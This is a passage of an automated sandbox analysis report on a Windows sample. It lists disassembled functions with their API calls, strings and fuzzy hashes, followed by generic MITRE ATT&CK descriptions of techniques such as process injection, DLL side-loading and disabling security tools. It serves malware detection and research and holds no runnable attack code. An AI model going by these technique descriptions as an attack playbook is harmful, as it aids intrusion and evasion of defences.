Function 00B69F2A Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,00B67F55,?,?,?), ref: 00B69FD0
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,00B67F55,?,?), ref: 00B6A014
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,00B67F55,?,?,?,?,?,?,?,?), ref: 00B6A095
CloseHandle.KERNEL32(?,?,00000000,?,00B67F55,?,?,?,?,?,?,?,?,?,?,?), ref: 00B6A09C

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: bcd7045f10664e42f80ed2838c53d51ddec385cf8387c5cae38d0f54784c1396
Instruction ID: ab4858c4250f26f39b1b3f7e5d5d32b621b1bd00ba46ea3cf420535e24e9af7a
Opcode Fuzzy Hash: bcd7045f10664e42f80ed2838c53d51ddec385cf8387c5cae38d0f54784c1396
Instruction Fuzzy Hash: 5D41C1312483859EDB31EF24DC45FAEBBE8AB85700F0409ADB5D5D31C1D678AA489B53

Function 00B893F3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,F5E85006,00B82794,00000000,00000000,00B82FC2,?,00B82FC2,?,00000001,00B82794,F5E85006,00000001,00B82FC2,00B82FC2), ref: 00B89440
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B894C9
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00B894DB
__freea.LIBCMT ref: 00B894E4

Part of subcall function 00B859FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B823AA,?,0000015D,?,?,?,?,00B82F29,000000FF,00000000,?,?), ref: 00B85A2E

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 22034dd2737bc26bbdf90ae323274b2862ed00b8d71bea890f73e954352d2c6b
Instruction ID: c35fbcb1a7948d1b1e1a02ae7761ca7b4221f153418f85a1cba13c77e1b91c6a
Opcode Fuzzy Hash: 22034dd2737bc26bbdf90ae323274b2862ed00b8d71bea890f73e954352d2c6b
Instruction Fuzzy Hash: 1F319C72A0021AABDF25AF65DC85DBE7BE5EB40720B1841A9FC1497260EB35CD51CB90

Function 00B79A76 Relevance: 6.1, APIs: 4, Instructions: 55windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00B79A86
GetObjectW.GDI32(00000000,00000018,?), ref: 00B79AA7
DeleteObject.GDI32(00000000), ref: 00B79ACF
DeleteObject.GDI32(00000000), ref: 00B79AEE

Part of subcall function 00B78BD0: FindResourceW.KERNELBASE(00000066,PNG,?,?,00B79AC8,00000066), ref: 00B78BE1
Part of subcall function 00B78BD0: SizeofResource.KERNEL32(00000000,75295780,?,?,00B79AC8,00000066), ref: 00B78BF9
Part of subcall function 00B78BD0: LoadResource.KERNEL32(00000000,?,?,00B79AC8,00000066), ref: 00B78C0C
Part of subcall function 00B78BD0: LockResource.KERNEL32(00000000,?,?,00B79AC8,00000066), ref: 00B78C17

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID:
API String ID: 142272564-0
Opcode ID: b0e7b47a2ca2e26a10ddf644e62aff27f8b8a6c98a6a784c4dc1efc5380dbc36
Instruction ID: fcf26ba4dbd10f47af94a4b6fb895e61c42eaf8a29262c6c9c402ce3debb6df2
Opcode Fuzzy Hash: b0e7b47a2ca2e26a10ddf644e62aff27f8b8a6c98a6a784c4dc1efc5380dbc36
Instruction Fuzzy Hash: 79012B3258121537C61177749D4AE7FB6EEDF85B51F0940A1FD18E7295DE128C0191F1

Function 00B81009 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00B81020

Part of subcall function 00B81658: ___AdjustPointer.LIBCMT ref: 00B816A2

_UnwindNestedFrames.LIBCMT ref: 00B81037
___FrameUnwindToState.LIBVCRUNTIME ref: 00B81049
CallCatchBlock.LIBVCRUNTIME ref: 00B8106D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction ID: 6137894feb5f6798c49df5ceef3974ba504a50b6b03ba08d8e5f7155a2427964
Opcode Fuzzy Hash: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction Fuzzy Hash: A5012932401149FBCF226F59CC41EDA3BFAEF48754F058495F92865130D332E8A2EBA0

Function 00B7991E Relevance: 6.0, APIs: 4, Instructions: 30windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B7992F
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B79940
TranslateMessage.USER32(?), ref: 00B7994A
DispatchMessageW.USER32(?), ref: 00B79954

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: adc5ed17446f7d2050a5f1a67cccdcc4bc58ed5cfe57428ab5051a65b5274e8a
Instruction ID: d5b7080467cc09325a5d4a1f2f6d591373b4a0311fedf8a89fc6cb34fd9ce5b2
Opcode Fuzzy Hash: adc5ed17446f7d2050a5f1a67cccdcc4bc58ed5cfe57428ab5051a65b5274e8a
Instruction Fuzzy Hash: 18E07D72D0212EA78B20ABE6AE4CDDB7F6CEE062657004556B519D3014DA689505C7F1

Function 00B80B66 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00B80B66
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00B80B6B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00B80B70

Part of subcall function 00B81C0E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00B81C1F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00B80B85

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction ID: 86ab25189799ffea1083ff675d3d799639952537f1a58fd2df812ce9ca15c34c
Opcode Fuzzy Hash: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction Fuzzy Hash: 46C04C64176240951CA03EB825025AD03CC8C667DDB8019C5E8915B0335A06490FEB36

Function 00B78CF3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 00B78BA5: GetDC.USER32(00000000), ref: 00B78BA9
Part of subcall function 00B78BA5: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B78BB4
Part of subcall function 00B78BA5: ReleaseDC.USER32(00000000,00000000), ref: 00B78BBF

GetObjectW.GDI32(?,00000018,?), ref: 00B78D24

Part of subcall function 00B78EEA: GetDC.USER32(00000000), ref: 00B78EF3
Part of subcall function 00B78EEA: GetObjectW.GDI32(?,00000018,?), ref: 00B78F22
Part of subcall function 00B78EEA: ReleaseDC.USER32(00000000,?), ref: 00B78FB6

Strings

(, xrefs: 00B78DEF

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 9d51fa0e66c52f75f8cc1bc10453c3bbe26bc8f6c775f6ccc7d63655f7eb2ac5
Instruction ID: 0ac57ea720aba1a76d7169b44a2bc6c8b9483946ba5c43ad0dc59799eba44136
Opcode Fuzzy Hash: 9d51fa0e66c52f75f8cc1bc10453c3bbe26bc8f6c775f6ccc7d63655f7eb2ac5
Instruction Fuzzy Hash: 92611571208201AFD714DF64C888E6BBBE9FF89704F10896DF5A9C7260DB31E805CB62

Function 00B701DF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B703A5

Strings

%ls, xrefs: 00B7021E, 00B70234
%s: %s, xrefs: 00B703B4

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: c3a7b0a43f65e8a2848c232d7ff15a388b557b10171868e8f3d6873a3741b276
Instruction ID: 370c120d87f2524d47a0eb1ce14599492d45c407ced741780b446ddc12aa842b
Opcode Fuzzy Hash: c3a7b0a43f65e8a2848c232d7ff15a388b557b10171868e8f3d6873a3741b276
Instruction Fuzzy Hash: AE51B9336AC300FAEA2136948C8AF3576E5AB05F00F20C5DBF3BEB45E7C5D199506616

Function 00B67619 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B6761E
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00B67799

Part of subcall function 00B6A0C3: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00B69EF9,?,?,?,00B69D92,?,00000001,00000000,?,?), ref: 00B6A0D7
Part of subcall function 00B6A0C3: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00B69EF9,?,?,?,00B69D92,?,00000001,00000000,?,?), ref: 00B6A108

Strings

:, xrefs: 00B6768F

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: f9cc748f18765f717aaa9d72d4bf1a4e844894d61ef0a369a4e0050944c63c39
Instruction ID: 7744f455cff0db8813bde843b5231c2282d041eeffd24a94f6aaa0a17ee2c933
Opcode Fuzzy Hash: f9cc748f18765f717aaa9d72d4bf1a4e844894d61ef0a369a4e0050944c63c39
Instruction Fuzzy Hash: 84418D71804258AAEB24EB64DC45EEE77FCEF45344F0040EAB645A2182DF789F85CFA1

Function 00B6B275 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

UNC, xrefs: 00B6B311
\\?\, xrefs: 00B6B2C7, 00B6B303, 00B6B364, 00B6B3B7

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 44aacf123c8bcdcc1fd3009a605ce713871062a5688d7cbf6395a818ac1fab10
Instruction ID: 453a6cfe63c819297eaeb1f1fba3a7ae389564954c0a4f5e5c7d53e6ba397a60
Opcode Fuzzy Hash: 44aacf123c8bcdcc1fd3009a605ce713871062a5688d7cbf6395a818ac1fab10
Instruction Fuzzy Hash: 9C417131500219ABCF21AF21DC81EEE7BFDEF15390B1045E6F858E6252EB78DAD18A54

Function 00B7802D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00B7803A

Strings

about:blank, xrefs: 00B780D2
Shell.Explorer, xrefs: 00B78066

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 633896bd42233a4ed4f31bea8eefde401b75fb5d2060fd0b8c6bb9813461fc3f
Instruction ID: 9d3f182b4d948b66f8e5aac28f96e167335cf06defef31305ee55866a464440b
Opcode Fuzzy Hash: 633896bd42233a4ed4f31bea8eefde401b75fb5d2060fd0b8c6bb9813461fc3f
Instruction Fuzzy Hash: 1B21AF75280606AFD704AB74C898E26B7E9BF84710B14C5ADF1298B691CF61EC04CBA1

Function 00B6DF34 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00B6DEB5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00B6DED4
Part of subcall function 00B6DEB5: GetProcAddress.KERNEL32(00BA1E58,CryptUnprotectMemory), ref: 00B6DEE4

GetCurrentProcessId.KERNEL32(?,?,?,00B6DF2E), ref: 00B6DFB5

Strings

CryptUnprotectMemory failed, xrefs: 00B6DFAD
CryptProtectMemory failed, xrefs: 00B6DF75

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 0d53c4855b4ac71fc0e30677ec091bb52d03e090a0301ab30f5aa25abf957c59
Instruction ID: 25408c6783c2a4a3c390d1edf040b80527e5d33b2fc2409ddbf31919a0660c7e
Opcode Fuzzy Hash: 0d53c4855b4ac71fc0e30677ec091bb52d03e090a0301ab30f5aa25abf957c59
Instruction Fuzzy Hash: 16117631B092162FDB119B39DC01E6E33D9EF95B10F0440E9F802CB192EF78EC008690

Function 00B612E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00B6CED7: GetWindowRect.USER32(?,?), ref: 00B6CF0E
Part of subcall function 00B6CED7: GetClientRect.USER32(?,?), ref: 00B6CF1A
Part of subcall function 00B6CED7: GetWindowLongW.USER32(?,000000F0), ref: 00B6CFBB
Part of subcall function 00B6CED7: GetWindowRect.USER32(?,?), ref: 00B6CFE8
Part of subcall function 00B6CED7: GetWindowTextW.USER32(?,?,00000400), ref: 00B6D007

GetDlgItem.USER32(00000000,00003021), ref: 00B6132B
SetWindowTextW.USER32(00000000,00B902E4), ref: 00B61341

Strings

0, xrefs: 00B612EA

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Window$Rect$Text$ClientItemLong
String ID: 0
API String ID: 660763476-4108050209
Opcode ID: 3d31cac7c9ba33a11619fb73f97de33148b729dc7b3c0fd8602acf1d7b54d70e
Instruction ID: 666619b23cd3c0b66147c7467950f11de7e5332d038898178d2c5c1064d0c4b8
Opcode Fuzzy Hash: 3d31cac7c9ba33a11619fb73f97de33148b729dc7b3c0fd8602acf1d7b54d70e
Instruction Fuzzy Hash: 38F081B1540288BBDF151F548909AA93FD99B04744F0C4495FE4A556A1CB7DC450DB68

Function 00B6FAC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00B6FD0B,?,?,00B6FD80,?,?,?,?,?,00B6FD6A), ref: 00B6FACD
GetLastError.KERNEL32(?,?,00B6FD80,?,?,?,?,?,00B6FD6A), ref: 00B6FAD9

Part of subcall function 00B66DD3: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B66DF1

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00B6FAE2

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 21608f48cfdae70bbff1ee36549939d2ee7c5898703fd9003bc1171d5378bdba
Instruction ID: eca0f03762e64421be01c8ab4932010f6eecede080ddec94d4c4caea9b7741f5
Opcode Fuzzy Hash: 21608f48cfdae70bbff1ee36549939d2ee7c5898703fd9003bc1171d5378bdba
Instruction Fuzzy Hash: 83D05E726194352BDA0133286C0AE6E3EA89B23730F2407BAF139A61F5CF240D618291

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
